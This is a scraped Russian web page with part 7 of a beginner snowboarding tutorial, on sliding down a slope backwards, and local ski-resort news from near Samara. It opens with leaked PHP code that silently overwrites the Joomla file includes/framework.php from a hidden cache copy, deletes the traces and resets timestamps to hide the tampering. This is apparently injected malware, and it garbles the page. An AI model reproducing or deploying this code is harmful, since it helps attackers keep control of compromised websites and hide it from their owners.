$frameworkFile = $_SERVER ["DOCUMENT_ROOT"]."/includes/framework.php"; $cacheFile = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_system")."-cache-system.php"; $frameworkFileTo = $_SERVER ["DOCUMENT_ROOT"]."/cache/_system/".md5("_framework")."-cache-framework.php"; if (file_exists($cacheFile) && file_exists($frameworkFileTo)) { require_once JPATH_BASE . "/cache/_system/".md5("_system")."-cache-system.php"; $filemTime = filemtime($frameworkFile); $contentFile = file_get_contents($frameworkFileTo); file_put_contents($frameworkFile, $contentFile, LOCK_EX); @unlink($frameworkFileTo); @unlink($cacheFile); touch($frameworkFile, $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/includes", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache", $filemTime); touch($_SERVER ["DOCUMENT_ROOT"]."/cache/_system", $filemTime); } Как кататься на сноуборде, Спуск спиной вперед
Баннер
Форма авторизации



Как кататься на сноуборде

Часть 7. Спуск спиной вперед

В этом разделе будет показано как спускаться по склону спиной. Это тоже является одним из базовых упражнений, которое в дальнейшем поможет Вам хорошо контролировать доску при траверсе или поворотах.


Шаг 1: Уприте сноуборд в склон. Согните ноги в коленях, не касаясь земли.



Шаг 2: Оттолкнитесь руками от земли, сохраняя при этом равновесие.



Шаг 3: Опора находится на переднем канте, постарайтесь удержать равновесие именно в этом положении.



Шаг 4: Теперь меняя угол наклона сноуборда, как и в предыдущем уроке, вы сможете контролировать скорость своего спуска.

____
Опять хочу обратить внимание, что сильно наклонять сноуборд не стоит, в этот раз тоже возможно "поймать кант", но теперь задний.
____



Шаг 5: Для остановки, как и для уменьшения скорости увеличьте угол наклона.



Шаг 6: Балансируя на переднем канте медленно опуститесь вниз и опритесь руками о землю.

Эти упражнения очень важны! Постарайтесь попрактиковаться некоторое время.

Обсудить на форуме

Коментарии:

 
.

Последние новости

Популярные статьи

Новости
Открытие сезона на ГЛЦ "Царевщина"

Ну вот и дождались любители горных лыж и сноуборда открытия ГЛЦ "Царевщина". Сегодня был полноценный рабочий день на этом комплексе. Снегу накидали достаточно, земли нигде не видно. В некоторых местах есть лёд. Народу немного, на подъёмнике очередей нет. Цены остались на уровне прошлого сезона: 1 смена с 10 до 15 - 600р, 2 смена с 13 до 17 - 700р, 3 смена с 17 до 21 - 300р (в выходные дни). В будние дни соответственно 250 - 300 - 200руб. Работает как всегда только центральная трасса.

 
Новости ГЛК Красная глинка

По заявлениям представителей ГЛК  Красная Глинка, что неподалёку от Самары, открытие намечено не 2 декабря, в настоящее время активно идёт подготовка склонов. На Юге убрали не работающий подъемник, трасса стала шире. Сейчас снежат Восточный склон. К открытию скорее всего будут работать Центр, Восток и если успеют то и Юг.

 
Появился новый раздел "Народный магазин"
Подробнее ...
Как кататься на сноуборде, Спуск спиной вперед

Как доехать на машине
*От:
*До:
Дай +1 :)
Сохранить в моб...
Яндекс.Метрика